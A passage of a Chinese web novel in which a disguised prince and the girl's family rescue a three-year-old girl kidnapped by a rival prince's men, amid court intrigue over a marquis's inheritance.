“前头那位……也跟侯爷在过边关的,反正两人都**,随便编个孩子当初被贼人偷走的理由,现在回归也不是不行。”老宋氏难得的口齿伶俐起来,刚刚脸上的羞愧之色已经消失殆尽,取而代之的是精明的算计。
想来这样的理由,她早就酝酿了许久,只是在心里过了无数遍,今日终于派上了用场。但她还是有点心虚,觉得对不起这个小儿子。
“娘倒是会为白继祖着想。”孟二泉站起身来,居高临下地看着床上的老宋氏,声音里满是讥讽,“也不怕将来见了侯爷和侯夫人,被他们掐了喉。”
他已经觉得自己够
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不要脸了,原来还是得了他们的真传——而且还没有传个十成十,比起这两位,他还差得远呢。
“你……你……你可是我亲生!”老宋氏气急败坏,胸口剧烈起伏着,那张蜡黄的脸上泛起不正常的红晕。
“如果可以选择,你以为我好好的侯府嫡子不要,想要你们这样的爹娘?”孟二泉一拍圈椅的把手,突地站了起来,袍角带起一阵风,大有马上拂袖而去的阵仗。
他的脸涨得通红,眼里是压了三十年的**和愤怒,此刻全烧成了火。
“二泉,别……”白弟城赶紧上前一步拦住他,声音里带着哀求,“爹娘不是正在跟你商量这事怎么办嘛?总不能便宜了大房那家子去。”
他本想顺嘴说出孟大川已经被烧死、其余几个也活不长的话,恐怕也都**的话到嘴边,又生生咽了回去。
不能说,这话万万不能说——否则,他真的担心自己一生的图谋最终失算,担心孟二泉知道后把他们一脚踢开,甚至赶尽杀绝。
起码大房的存在,还可以让孟二泉有所忌惮,还可以成为掣肘他的工具。毕竟看他刚才那副嘴脸和动作,想来是钱兜早就空了,正等着他低头往里钻呢!
“二泉,你就说吧!这事你打算怎么办?”白弟城放软了声音,彻底低了头。
孟二泉看到白弟城服软,这才重新坐下,翘起了二郎腿,脸上的怒色也收了几分,换上了算计的神色。
其实,自从白家搬进侯府,他反倒不盼着孟大川一家那么快死绝了——太早承袭爵位,反而会让白家生出非分之想,天天以亲兄弟的名义来掣肘他。
好不容易赶走了大房,他怎么可能引狼**,而且是引来更大的豺狼?
侯府是他的,是他孟二泉一个人的,怎可能再让另一个上不了台面、见不得光的大哥来分这一杯羹?如若这样,还不如留下大房呢!
起码大房是清清白白、堂堂正正的嫡出,无论是在皇亲贵族还是百姓心中,都是荣耀的存在。
况且孟大川还为侯府挣得了功名,光宗耀祖。他恨孟大川,恨不得他死,但也需要他的荣光来庇佑自己——这真是天大的讽刺。
让这种浑身铜臭的商户入孟家族谱?还想着改回白姓?想什么屁吃!他孟二泉是吃了什么**汤,才会不要百年的侯府清誉,不要孟家的世代荣光,认一个私生子做大哥。
“白家须举全身之力,助三皇子登上那个位置。”孟二泉站起身来,掸了掸袍子上并不存在的灰尘,居高临下地看着这两个给他生命的老人“不然,想都不要想。”
说完这话,他拍拍屁股就走人了,连个眼神都懒得再给他们,只留下白弟城和老宋氏面面相觑,连反驳的机会都没有。
第138章 居然被劫持了
孟沅进城是打算复仇的,没想进侯府一圈,被孟大川提点的是不能用毒,就算是以牙还牙提炼给老太婆的药,也被替换成了平常的补药,令她十分郁闷,感觉自己被忽视了。
她坐在小宅院的廊下,手里攥着那包被调换过的药粉,指节捏得发白。午后的阳光斜斜地照在她脸上,却照不进她眼底的阴翳。
可如今进了城,孟大川轻飘飘几句话就把她的计划全盘否定了——“不能用毒”,“不急”,“你还小,一切先听爹的,相信爹不会让他们好过”。
她懂,她怎么不懂?她懂的就是这世道从来都是人善被人欺。
倒是萧执回大长公主府后的第三天,京城就传出孟绫被三皇子萧衡看中,只等及笄就抬进府的消息。
消息传到小宅院时,孟沅正蹲在墙角看蚂蚁搬家。绿果从外面买菜回来,顺嘴提了一句,说街上都在议论这事。孟沅头也没抬,手里捏着根小树枝,挡在一只蚂蚁前面,看它慌乱地绕路。
侍妾?她心里嗤笑一声,孟绫那样的人,眼里只有嫡庶尊卑,心心念念要攀高枝,如今倒是如愿了。
只是三皇子萧衡,她听孟大川和杨大儒隐晦地提过一嘴,上次在大长公主府也亲眼见过一次。是个酒色之徒,年纪不大,“潇潇姐姐”说府里侍妾通房一大堆,正妃还没娶,这些人就已经斗得跟乌眼鸡似的。
孟绫去了那样的地方,怕是没几天好日子过,但比起他们一家前世的悲惨,做侍妾也是便宜了她,不过她不急。
她用小树枝把那只蚂蚁挑起来,轻轻放在一块干爽的石头上,看着它慌慌张张跑远。
也好,让孟绫去那火坑里扑腾,等她长大些,再慢慢算账。以孟二泉的官阶,孟绫能做个侍妾,已经是走了狗屎运。
连买菜的王婆子都在井边嘀咕,说孟家那个姑娘也不知道使了什么手段,竟能让皇子看上。
孟二泉那点子官阶,在京城确实不够看,可他那个人,最是会钻营,保不齐是拿女儿当了垫脚石。
她把婆婆剥好的豆子扔进筐里,又抓起一把,指尖用力,豆荚啪地裂开,青绿的豆子蹦出来,滚了一地。她弯腰去捡,捡着捡着忽然笑了。
另有消息传出,十六岁的纪文——大长公主世子也订了亲。订的是没落的江南望族叶家,对方是叶家二房嫡次女叶如常,并没有名声才学在外,真的令**跌眼镜。
阿沅觉得很倒霉,她无缘无故被劫持了,因为是在睡梦中,她毫无知觉的时候被劫持的。
她醒来的时候,眼前一片漆黑,嘴里塞着团布,又酸又臭,熏得她直犯恶心。手脚都被绳子捆着,勒得生疼。
她挣扎了一下,发现自己是蜷缩着躺在地上的,身下是冰凉的石板,硌得骨头疼。
最让她窝火的是,她怎么被绑的,一点印象都没有。睡前她还在想着白天的事,想着孟
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绫那门亲事,想着纪文那个莫名其妙的未婚妻,想着想着就睡着了。
这一觉睡得死沉,连被人扛走都不知道。她试着动了动,想进空间里去,可手脚被捆得死死的,又怕动静太大惊动了外面的人,只得作罢。
三岁的身子到底不中用,折腾了几下就气喘吁吁,嘴里呜呜地发出小兽似的呜咽。
下午的时候,小安子过来小宅院传了句话,可能传的是什么时候回嘉禾庄的事,就在门房那里停留了一会儿,也不知跟孟大川说了什么。
然后孟沅就被孟大川迷晕留在屋里,只留绿果一个人守着,然后阿沅就被劫持了。
她想起傍晚的事,心里更来气。小安子来的时候,那小子在门房跟孟大川嘀嘀咕咕,她还凑过去想偷听,被孟大川一巴掌拍开,说小孩子家家的,别瞎打听。
她当时还噘着嘴不高兴,晚饭都没好好吃。孟大川端了碗甜汤给她,说是新买的蜂蜜,让她尝尝。她喝着觉得有点苦,但没多想,咕咚咕咚喝了个精光,然后就什么都不知道了。
现在想起来,那哪里是蜂蜜的苦,分明是**的苦!孟大川这个老匹夫,竟然给亲闺女下药!她骂娘。
她想哭,眼泪在眼眶里打转,又生生憋了回去。哭有什么用?哭给谁看?那些绑她的人吗?得想法子逃出去。
她没想过往空间里躲,只用耳朵感知着四周的寂静,想要知道是怎么回事。
第139章 假哭打滚
四周很静,静得能听见自己的心跳声。但仔细听,能听见远处有脚步声,一下一下的,是守夜的人在踱步。还能听见风的声音,呜呜的,从缝隙里钻进来,带着股潮气,像是靠水的地方。她使劲嗅了嗅,果然有股河水的腥味。
是河边?她心里飞快地盘算着,把自己认识的人都过了一遍。谁会绑她?她在京城得罪过谁?没有。她只是个三岁的小丫头,那就只能是冲着别人来的。冲着谁?萧执?还是孟大川?
她很确信,这几天自己绝没有暴露过空间里的事,也没碰见过什么神秘的人。
她把这些天的事从头到尾想了一遍。
小安子,对,就是小安子。她脑子里灵光一闪,小安子是萧执的人,这些绑匪要找的是萧执,要找的是六皇子的下落!她们是被牵连的,是替萧执挡了灾!
想明白这一点,她反倒冷静下来了。既然是冲着萧执来的,那她和绿果暂时就是人质,不会轻易**。只要活着,就有机会逃出去。
带着这样的疑问,如同实际的孟三岁,不停地嘤嘤哭,找爹找娘。
“爹爹,娘亲。宝儿怕怕,丫头怕怕,我要回家,我想回家。”不知到底什么状况,连自己大名小名都不敢道破,倒地撒泼。
她扯着嗓子嚎,声音又尖又细,还带着哭腔,活脱脱一个吓坏了的三岁娃娃。她一边嚎一边在地上打滚,把脸在石板上蹭得生疼,眼泪鼻涕糊了一脸。
她知道外面有人守着,知道他们能听见。她就是要让他们听见,让他们以为她只是个普通的小孩,吓坏了只会哭爹喊娘。她越嚎越大声,嗓子都快劈了,脚蹬在地上,把鞋都蹬掉了一只。
“爹爹!娘亲!我要爹爹!坏人!有坏人!宝儿害怕!”她哭得上气不接下气,中间还夹杂着打嗝的声音,听上去要多可怜有多可怜。
“别不是抓错了吧?怎么抓了个这么小的娃娃?”
外面传来一个粗哑的男声,带着几分不耐烦,又带着几分犹疑。孟沅耳朵一动,哭得更大声了。
“那大点的姑娘看着也不像宫里的人,那阉人不会十几岁就找了对食吧?”
另一个尖细些的声音接话,语气里透着股猥琐的笑意。孟沅心里暗骂,你才找对食,你全家都找对食,面上却哭得更加凄惨,嘴里呜呜咽咽地喊着“怕怕”。
“兴许是那阉人的家人也不一定,反正留下她们,肯定能顺藤摸瓜,找到那阉人,就能揪出六皇子的去处。”
粗哑的声音似乎被说服了,脚步声走近了些,又停下。孟沅感觉到有光从门缝里透进来,一闪而过,应该是有人在往里看。她赶紧把脸埋进膝盖里,肩膀一抖一抖的,假装吓得不敢抬头。
“我看未必,皇家的人最是无情,哪里会为两个丫头片纸出头,丢了也就丢了。”
尖细的声音带着几分不屑,脚步声渐渐远去。孟沅听着两个人的声音越来越远,最后只剩下远处若有若无的脚步声。她慢慢抬起头,脸上还挂着泪,眼睛里却没有了方才的惊恐,只剩下沉沉的冷意。
她哭得嗓子都哑了,实在哭不动了,就蜷缩在门边的角落里,把身子缩成小小的一团。这个位置好,既能听见外面的动静,又离门近,万一有什么变故,反应也快些。
她闭着眼睛,呼吸放得绵长,像是睡着了。果然,过了没多久,外面那两个人以为她睡了,说话的声音渐渐大了起来。
“你说咱们得守到什么时候?这破地方,蚊子都能把人吃了。”粗哑的声音抱怨道。
“急什么,上头说了,等那阉人上门,抓了人就能交差。”尖细的声音打了个哈欠。
“那阉人会上门吗?万一不来呢?”
“不来?不来就一直关着,反正两个小丫头片子,能吃多少?总比出去抓那个阉人容易。你是
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不知道,那阉人身手好着呢,上次老三他们几个围他,愣是让他跑了,还折了两个弟兄。”
“那倒是。不过这俩丫头也够倒霉的,平白无故受这牵连。”
“倒霉什么,谁让她们跟那阉人沾边。行了行了,少说几句,换你去睡会儿,后半夜我来守着。”
还有一点她确信,绿果也被绑了,只是没绑在一处。
她竖起耳朵听了听,四周没有绿果的声音。绿果要么是被关在别处,要么就是还昏迷着。
但是绿果怎么可能也被绑呢?她武功虽然没有柒叔和几个暗卫那么好,但应付三两个贼人不在话下,总不至于那么容易被俘才对!难道也被下了药?她想起傍晚那碗甜汤,孟大川端给她的时候,绿果也在厨房里。难道孟大川也给绿果下了药?
这个念头一起,她心里说不出是什么滋味。孟大川到底想干什么?为什么要把她们两个都迷晕?是知道有人要来绑她们,故意让她们被绑?还是有别的什么打算?
她把前前后后的事串起来,小安子下午上门,晚上她们就被绑,越想就越觉得乱,六皇子跟三皇子一定不对付,三皇子最近又得了孟绫——她脑子里乱糟糟的,这些皇家的事她本来就不懂,越想越头疼。
算了,不想了,反正逃出去要紧。
要是孟大川不丢下她们出去行动,她们就不会被绑。但是,若是所有人都在家,被一锅端更不是好事,兴许还可能对孟大川不利。
现在,他们在外头,还能想办法救她们。她想通了这一层,心里安定不少。只是一声不吭就让她着了道,也太让人窝火了。等她出去,非得跟他好好算这笔账不可。
她蜷在角落里,身子又冷又僵,可眼皮越来越沉,怎么都睁不开了。她挣扎着不想睡,怕睡着了出什么事,可小孩子的身体撑不住,困意像潮水一样涌上来,把她整个人都淹没了。
第140章 **留下的痕迹
孟大川一行直到快接近凌晨才回到宅子。
月色已薄,天边将泛起蟹壳青的微光,正是夜与昼交替时最沉的那刻。
他们开门的动作很轻,怕惊动内院的人,但肩膀塌下来的瞬间,那股强撑了一整夜的劲儿便散了,只剩满身的疲乏。
今晚走访了三位旧日朝中的同僚,每一家都是灯火已熄、门扉紧掩的时候叩的门。看到他,每人无一例外眼珠子差点瞪出来——毕竟这位孟大人早已是个“半死不活,在庄子上养病”的人了。
而当孟大川迈步跨过门槛,步履稳健、脊背挺直地走进厅堂时,那些匆匆披衣而出的官员们,脸上惊愕和惊喜的神情几乎藏不住。
他把早就备好的托词温温吞吞地说了出来:无非是偶然在庄子上遇到一个游方郎中,自称祖传偏方,配了外敷内服的药,加上庄子里环境甚好,适合静养,骨茬自己长好了云云。
他说这话时神色坦然,语气平缓,甚至带点自嘲的意味,仿佛自己都觉得这运气来得莫名其妙。
同僚们将信将疑,却也不好再追问,毕竟人站在面前,腿是实打实的好全了。
孟大川原本在朝中官职不过五品,但为人忠厚,做事踏实,在北境时还救过几个同僚家中儿孙的命。加上老侯爷的名望在那儿摆着,旁人即便心里嘀咕,面上也绝不敢怠慢。
茶过三巡,话便热络起来。有人叹他在庄子上受苦,有人替他抱屈,说起被抢了军功的事,还有若不是有人故意为之,他不至于落下这身伤病。
说着说着,便有人压低声音问起他此番进京的打算,孟大川只含糊应着,说有些旧事想理一理。几个人对视一眼,心照不宣地点头,说需要时只管开口,能帮的一定出手相帮。
从最后一家出来时,街上已没有行人,只有更夫的梆子声远远传来。他没有直接回宅子,而是拐进一条窄巷,在一座不起眼的民房前停下。
里头是他原本的几个老部下,早就在等着了。烛火拢得极低,几个人围坐在一张方桌前,压着声音商议了两个时辰。离开时,孟大川拍了拍他们的肩膀,那些年轻人眼眶红了,却没说话,但是意思很明显,就等着孟大人的召唤。
回到宅子时,整个人像被抽空了一样。他只想睡个囫囵觉,天亮后收拾东西,接了萧执一起回庄子。刚躺下,眼睛还没闭实,院子里突然起了嘈杂声。
他几乎是本能地从床上弹起来,多年的军旅生涯让他的身体比脑子更快——人还在半梦半醒之间,手已经摸到了床头叠好的衣物,三两下便把衣裳套齐整了,武器已经握在手上。
推开门时,廊下的风灯晃了晃,照见红豆惨白的脸。
“大人,小姐和绿果都不见了。”红豆的声音发着抖,但话说得还算清楚。
她本不想打扰小姐歇息,进了偏房后也和衣躺下,却怎么也睡不着,心里像有什么东西硌着。绿果那丫头警觉性高,往常她们几个回来,门一响她就会醒,可今晚偏房里**静了——安静得不正常。连个翻身的动静都没有,更别说呓语。
她起身推门进去时,屋里漆黑一片,艾条燃尽的味道还没散尽,但她闻到了另一种气味——陌生、刺鼻,混在艾草味里几乎被盖住,可她就是觉得不对。
点亮灯盏,榻前空空如也,绿果的铺盖是凉的,小姐的床幔被人撩开没有放下,薄被耷拉下来,垂到踏板上。这季节蚊子多,屋里即便熏了艾,也总有漏网的,往常她们都会把床幔掖得严严实实。
她猛地掀开床幔,被子底下空空荡荡,小姐的外衣还搭在床头的椅子上,整整齐齐,像是明早还要穿的。
她转身冲出门,带起一阵风,灯笼晃得厉害,惊得其余房间的人几乎同时开了门。
孟大川站在廊下,月光照着他的脸,看不出表情,但垂在身侧的手攥紧了。孟柒已经窜了出来,身后几个暗卫也瞬间散了开来。
训练有素,没有多余的话——孟柒带人往后院围墙,十五跟着红豆回屋细查,其余人把前门、后门、侧墙的每一个角落都过了一遍。
没多久,几个人重新聚拢。十五先开口:“屋里没有挣扎的痕迹,外衣还在。绿果的铺盖也是叠好的,但她人不在。屋里有迷烟的味道,用量不大,像是只为了让屋里的人睡沉。”
去后院查探的孟柒接着说:“进出都是从靠后门的那段围墙。来人手段不算太高明,墙上蹭了青苔
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,墙根下的泥地里也有新鲜的踩踏痕迹——至少四个人。外头应该有马车接应,辙印还新,往巷口方向去的。”
孟大川没有说话,跟着孟柒又去后门看了一遍。月光下,围墙根儿那片青苔确实被蹭掉了一大块,露出底下的砖色,泥地上几个脚印清晰可见,大小不一,有一个女子的脚印像是刻意留下的,应该是绿果。
孟柒蹲下来看了看,站起身时,脸色沉得厉害:“绿果应该是故意被绑的,没有拖拽的痕迹,也没挣扎。”
他顿了一下,看向孟大川,眼神里带着点说不清的东西:“若是小姐及时醒过来,应该不至于……”后半句他没说完,但意思已经明明白白地搁在那儿了。
若是大人不主张把小姐迷晕,让她安安静静睡一觉,以绿果的身手,就算护不住,至少能闹出动静来,不至于像现在这样,人没了,连声都没吭。
孟大川站在那儿,背对着月光,脸上的神情看不清,但肩线绷得笔直。他没接这话,只是沉默了片刻,然后开口,声音压得低,带着点哑:“屋里可有什么痕迹?”
他这话问得平常,但要是孟沅在,肯定能听出来——这个便宜爹压根没往别处想。他只是不想让那个小丫头跟着出去奔波熬夜,只想让她好好睡个饱觉,天亮了一起回庄子。
他没想过拿谁当饵,也压根不需要拿谁当饵。
孟柒摇头:“我们的行踪不可能被发现。今晚去的几家我们都特别注意,回来路上也绕了几圈,没人跟着。”他语气笃定。
这一趟出来,孟大川睡觉都没摘假面,那些同僚到现在都不知道他们住在哪儿,更别说旁人了。
十五从屋里走出来,手里拿着张纸片:“在床头的花架子上找到的,飞镖钉进去的,入木三分。”孟大川接过来,纸片不大,叠了两折,展开后字迹潦草,分上下两段。
上段的字还算工整:“若想要人,今夜子时,红运码头右边第三棵柳树下见。”中间空了一行,下段的笔迹陡然粗犷起来,只有几个字——“只身一人,否则……”最后没有落款,只画了一把大刀,刀锋拖得老长。
墨汁洇开,像是特意用力顿下去的,明晃晃的威胁。
第141章 萧执亲自救援
亥时的京城,街道上空寂得像是被巨兽吞尽了所有生气。
宵禁的铜锣声刚刚敲过,连野狗都缩进了巷子深处,更不用说那只有在漕运旺季才会人声鼎沸的红运码头了。
此刻,码头空荡荡地横在水边,两盏破旧的马灯挂在木桩上,灯芯燃得只剩下短短一截,那点微光暗黄黄的,比黄豆粒也大不了多少,别说照亮脚下的青石板。
就连灯下三尺之地都照不周全,风一吹,光晕便瑟瑟地抖,眼看就要灭了似的。
但夏夜的好处是,好歹还有一轮弯月挂在天边。月光清清冷冷的,像是从极薄的冰层里透出来的光,洒在江面上,碎成一片一片的银鳞。
河岸边的柳树垂着长长的枝条,倒映在粼粼波动的河水里,那影子也跟着晃晃悠悠的,愈发显得这地方清寂得有些瘆人。
右边第三棵柳树下,却立着一个小小的身影。那不是孟大川,也不是孟柒,而是一个瞧着不过十岁的小姑娘。她穿着身半旧的藕荷色衣裳,料子倒是好料子,却已洗得有些发白了,在这深夜的江风里显得单薄得很。
也不知她在这里等了多久了,起初还踮着脚往河面上张望,后来便渐渐站不住了,两只小手紧紧地攥着衣角,指尖都攥得发了白。
又过了一会儿,她突然用双臂环抱住自己小小的身子,慢慢地蹲了下去,蜷缩成小小的一团,像是要把自己藏起来似的。
夜风吹过柳梢,发出轻轻的沙沙声,那小小的肩膀却微微地抽动起来——她竟是哭了,却又像不敢哭出声,只是咬着嘴唇,让眼泪无声地滑过脸颊,滴在膝头的裙摆上。
他是第一时间,知道阿沅被劫,就赶过来的。而且再也不避讳自己武功了得的事实,坚持要亲自救援。
“妈的,怎么是个小姑娘?”
一道尖厉的、略显苍老的夹子音从黑暗的角落里传出来,那声音像是被什么东西捏住了喉咙,尖细得刺耳,又带着说不出的阴鸷,在这空旷的码头上听来,格外地瘆人。
声音里满是失望和不耐烦,仿佛等了半夜,等来的却是一只没用的蚂蚁。
“绝对不是六皇子身边的人,他身边从没有过这么小的宫婢。”同样的夹子音,这回听声音应该年岁不大,嗓音虽然也尖,却少了几分沙哑,多了几分油滑。
“那小阉狗养的,怎么全是丫头?”苍老的那人冷笑了一声,那笑声像是夜枭在叫,“没准是近亲,我就不信他会无缘无故去敲那家的门——大半夜的,冒着风险去敲一个素不相识的人家,这里头没鬼才怪!”
“公公,现在怎么办?”年轻的压低声音问,“放过她?”
黑暗中沉默了片刻,那苍老的声音再次响起时,多了几分狠厉:“宁可错抓一千,也不放过一个。去,叫他们把船开过来,提回去明天一起审。一个小丫头片子,还能硬得过咱家的手段?就不信从她嘴里撬不出点线索来。”
年轻的嘿嘿笑了两声,那笑声猥琐得很:“我看那丫头长得还挺水灵的,脸蛋儿嫩得很,殿下一定喜欢。”
然后两道同样猥琐的笑声同时在黑暗中响起,尖细刺耳,像是两只老鼠在争食。
“好了,我们走。”
直到听见几声短促的响哨,看见河面南边晃晃悠悠地驶过来一艘乌篷船——那船没有点灯,黑黢黢的像是一口浮在水面上的棺材——孟柒带着一人迅速跟上那两个从岸上离开的黑衣人。
这时,一直躲在更暗处的小安子才对身边气得捏紧了拳头、牙关咬得咯咯响、恨不得立刻冲上去拼命的孟大川低声道:“这是三皇子身边的人,那声音绝对没有错。是李公公,他们真的是冲六殿下来的……”
孟大川的拳头捏得骨节发白,胸膛剧烈地起伏着,却只能死死地忍着。
而此刻,打扮成潇潇姐姐模样的萧执,
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是被粗暴地推上那艘乌篷船的。
船上下来抓他的黑衣人甚至没有问他一句话,甚至连看都没细看他一眼,直接就扯着他的胳膊往船上拖。
他故作柔弱,脚下踉踉跄跄的,在码头的青石板上跌了两跤,膝盖磕在石头上,疼得钻心,掌心也擦破了皮,渗出细细的血珠来。
黑衣人没有了耐性,最后直接拎着他的衣领,像拎一只小鸡似的,狠狠往船舱里一丢。萧执的额头撞在舱板上,闷哼一声,却咬紧牙关没有喊疼,只是迅速抬头,借着舱外透进来的一点月光,寻找阿沅的身影。
船上却什么都没有。
孟沅呢?她是故意把守在门口的那两人引进去的。
被关了一天一夜,手脚上的绳索勒得她细嫩的皮肉生疼,已经磨出了红红的印子。
没人进来问话,也不给东西吃,肚子里早就饿得咕咕叫了,想象中的救援却迟迟没有到来。
她等不及了——她当然可以自救,可她担心绿果会遭了毒手。如果绿果也被下了药,又被绑了手脚,就算功夫再好,自保的能力也会变得很弱很弱。
天暗下来那会儿,她就找了个角落,假装蜷缩着睡着了,实际上却悄悄进了空间。没想到在空间里,连绑在手脚上的绳索都可以用意念解开——那绳索“啪”地轻轻一声,就自己松开了。
她赶紧解决了生理问题,喝了几口空间里备着的矿泉水,那水凉丝丝的,带着一点甜味,缓解了些许疲惫。
泡面是来不及泡了,她只从装零食的盒子抓了一块巧克力,剥开金色的锡纸,一下子塞进嘴里,那浓郁的甜香瞬间在舌尖化开,让她满足地眯了眯眼睛。
又往口袋里塞了一大把巧克力,她才深吸一口气,意念一动,又回到了那阴暗潮湿的屋子里。
一出来,那股霉味和腥臭味又扑面而来,孟沅皱皱小鼻子,迅速调整好表情——开始表演。
第142章 萧执哭得像个小姑娘
“啊啊啊!我要**,我饿**!我渴**。不让我见爹爹和娘亲,我就哭,我就一直哭,哭到死为止!”
她又哭又闹,声音尖尖细细的,像是真的伤心欲绝。她用脑袋往墙上轻轻地撞,发出“咚咚”的闷响,眼泪鼻涕糊了一脸,小手还在空中胡乱挥舞。
但是,这哭声只换来外面两个人的大声辱骂而已——“嚎什么嚎,再嚎把你舌头割了!”
“吵**,小贱蹄子!”
他们连进来看一眼的兴致都没有。许是觉得她太闹腾了,有一个干脆走得更远,一面走还一面骂骂咧咧:“再饿两天,看你还有力气闹腾!饿得你连哭都哭不出来!”
孟沅的眼睛在黑暗中眨了眨,亮晶晶的,像两颗小星星。一计不成,她再生一计。
“我不活了,我要爹爹和娘!哎呀,我要**,好多血啊!我流血了,好多好多血!”
她提着从空间里悄悄拿出来的那根小木棍——那木棍只有她小手臂那么长,光滑顺手——先往墙壁上乱敲乱打,敲得“砰砰砰”直响,那声音在空空的屋子里回荡,显得格外响亮。
然后,她猛地停住,把小木棍往空间里一收,自己往地上一倒,同时嘴里“噗”地发出一声闷响,像是真的吐血倒地了。她直挺挺地躺在地上,一动不动,小脸朝下,手脚摊开,真的像**一样。
外面安静了片刻。
“别……不会真的**吧?”一个黑衣人吓了一跳,声音都抖了。他嘟囔着,手忙脚乱地从腰上摸出钥匙,扯着嗓子召唤另一个,“快点过来看看!要真**,咱们俩都得脱层皮!上头那位的手段你是知道的!”
“我就不信她一个小丫头有这胆量。”另一个嘴上硬着,脚步却快得很,两人一前一后往这边赶来。但他们还是惜命的,知道抓来的人死不得,万一**,他们自己就得抵命,竟真的慌慌张张地打开了那道生了锈的铁门,钻进来了。
萧执被人提着后领,一把扔进屋里的地板上时,额头撞在冷硬的地面上,疼得他眼前发黑。
但他顾不上疼,猛地抬头——他看到的就是两个黑衣人正背对着他,弯着腰,对着瘫倒在地上一动不动的阿沅伸出手去,嘴里还嘀嘀咕咕地说着什么。
其中一个人手上还提着明晃晃的刀,那刀在黑暗中闪着寒光,离阿沅不过咫尺。这状况对阿沅来说,危险到了极点!
刹那间,一股热血直冲萧执的头顶,愤怒瞬间爆发,他什么都顾不得,也不装了!
“放开她!有什么冲我来!”
情况危急,声音他都忘了伪装,那一声厉喝又尖又亮,带着男孩子特有的清脆,却又透着与他年纪绝不相符的凛冽杀意。
他几乎是同时反手,用尽全身力气,把刚刚提着他进来的那个黑衣人猛地往外一推,然后“砰”的一声,把那扇铁门死死地关上了,插销落下!
门外那个黑衣人似乎也不焦急,甚至站在门外哈哈大笑起来,笑声在空荡荡的走廊里回响:“哈哈哈,又抓一个!这个也漂亮着呢!够上头那位折腾几晚了!”
但忽然想到什么,他又凑到门上的小窗口往里头探头探脑,一双老鼠眼滴溜溜地转,猥琐地笑道:“喂,你们别不是有什么坏心思吧?殿下还没享用呢!小心被挑了筋,扔到江里喂鱼!”
冲阿沅摸过去的那两人还没来得及回答,已经前后同时着了道。
他们刚觉得后脑勺一阵疾风袭来,还没来得及回头,后脑便遭到重重一击——与此同时,一股辛辣的粉末直扑面门,他们连叫都没叫出声,眼睛鼻子嘴巴里全是那粉末,眼泪鼻涕一起流下来,脑子里“嗡”的一声,整个人便软塌塌地倒了下去,手里的刀“哐当”一声掉在地上。
“阿沅!”
**刚撒出去,就听到萧执那焦急得变了调的声音已经到了耳畔,孟沅连忙继续装死,趴在地上一动不动,小小的身子蜷缩得像只受惊的虾米似的,脑袋埋在胳膊里,肩膀还微微地颤抖着。
她还以为贼人只是中了**,根本没想几乎同一时间萧执也出了手。
然后,她的小身子就被萧执死死地抱住。那双手臂虽然细瘦,却用了极大的力气,勒得她几乎喘不过气来。
萧执把她紧紧地箍在怀里,仿佛一松手她就会消失不见似的。
“阿沅,哥哥来迟了……”他的声音是哽咽的,压抑着极大的痛苦和恐惧,每一个字都像是从喉咙里硬挤出来的。他心里涌出不一样的情绪,他不想阿沅死,更不希望阿沅为他而死。
孟沅被他勒得肋骨都疼了,却更清晰地感觉到,有什么温热的东西正一滴一滴地落在她的脸颊上。
下雨了吗?不是的。那是萧执的眼泪。他的身子在微微地颤抖,抖得很厉害,像是秋风中最后一片挂在枝头的叶子,随时都会被吹落。
他抱着她的手臂那么用力,却又那么小心,像是抱着世界上最珍贵、最易碎的宝贝。
萧执的眼泪止不住地流。他不敢想象,如果他再晚来一步,如果他刚才的动作慢了一瞬,阿沅会怎样。那两
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个肮脏的黑衣人的刀,差点就碰到她了。
这个念头像一把刀,狠狠地剜着他的心,疼得他几乎要喊出来。
好一会儿,听到门口那边似乎有轻微的响动,担心出意外,阿沅这才被迫睁开双眼,佯装自己刚刚醒来。
小手从阿执怀里伸出来,怯生生地指向门外,小小的手指微微地抖着。但她的小身子也假装颤抖得更厉害了,嘴里还来一句糯糯的、带着哭腔的声音:“阿执哥哥,我害怕……我怕……”
“别怕,阿执哥哥在,以后再也不会让你身陷危险。”这话他是咬着牙说出来,那是透进骨子里的承诺。
萧执没有松手,反而把她抱得更紧了。但他得了阿沅的提醒,迅速侧过身,用自己的后背护住阿沅,凌厉的目光射向门口。但他手中的阿沅并不放下,依然紧紧地抱着。
“小姐!潇潇小姐!外面三个也解决了!”
是绿果弄出来的声音。她的声音里带着雀跃,甚至有一点小小的得意,显然已经借着微弱的光认出了当初那个女装的阿执。
一看到屋里小姐被“潇潇”好好抱着,那悬了一天一夜的心,总算是放了下来。
她早就摸过来了。若不是担心屋里情况不明,担心小姐遭毒手,她早就出手了。她本想再等一等,等再摸清一些情况,或是等救援到来,可一听到屋里有动静,她就再也忍不住了。
门外那三个家伙,被她悄没声息地砍了手刀,一个都没跑掉。
“我抱阿沅出去。”萧执迅速站起身,稳稳地抱着阿沅往屋外走。经过绿果身边时,他脚步一顿,从怀里甩出一包药粉给绿果,声音清冷得像腊月的冰碴子,每个字都透着寒意:“这里的人,一个都不能留,要不留一点痕迹。”
绿果低头一看,就着窗外透进来的一点月光,看清了那纸包上的三个小字——化尸粉。她目光一凛,抬起头再看眼前这个比自己还小两三岁的“潇潇小姐”时,眼里已满是肃然起敬。
她重重地应了一声“是”,那声音里没有一丝犹豫。
萧执抱着阿沅,大步走出那间腥臭的屋子。阿沅的小脑袋靠在他的肩膀上,两只小手抓着他的衣襟,乖得不像话。夜风吹过来,带着江水的潮湿和清凉,吹散了一身的霉味和血腥气。
萧执的手臂依然微微地颤抖着,但他把阿沅抱得更紧了些,下巴轻轻地抵在她柔软的发顶,无声地吁出一口气——可那眼眶里的泪,却怎么也止不住地往下流。
心里暗暗松了口气:幸亏阿沅没事。
第143章 若不是为了复仇,一直在庄子里还挺好的
回庄子后没几天,孟柒就把京城传回来的朝廷消息摆到了书房,孟大川和杨大儒的书桌前,然后,很识相地转身出去。
孟怀瑾刚踏进书房给父亲和先生请安,瞧见这阵仗,脚步一顿,下意识想要避开。
这些日子,萧执的身份在他们家不再隐瞒,而京城来的消息,父亲只要不说,他从不乱打听。
还没转身,被先他进入书房的萧执伸手轻轻拉了一把。萧执的掌心没那么大,却温热而稳定,带着不容拒绝的力度。
看到父亲和先生只是抬眼看了他们一眼,并没有避开他俩的意思,孟怀瑾这才找位置落座,只是脊背挺得笔直,手指无意识地摩挲着袖口,有点窥探到事情真相的紧张。
“御史和好几个朝臣联合上奏,各参了太子和三皇子一本,被参的还有兵部尚书和户部侍郎。”
孟大川读信的声音低沉平稳,明明陈述的是一件与己无关的事,可那微微收紧的下颌,泄露了他内心的波澜。
杨大儒抢接过信笺,花白的眉毛微微蹙起,看完一段,没有继续往下读,而是抬起那双历经世事的老眼,看向萧执,将信笺推了过来。
那目光里有关切,有试探,更有一丝难以言说的复杂——这孩子,到底知道多少?
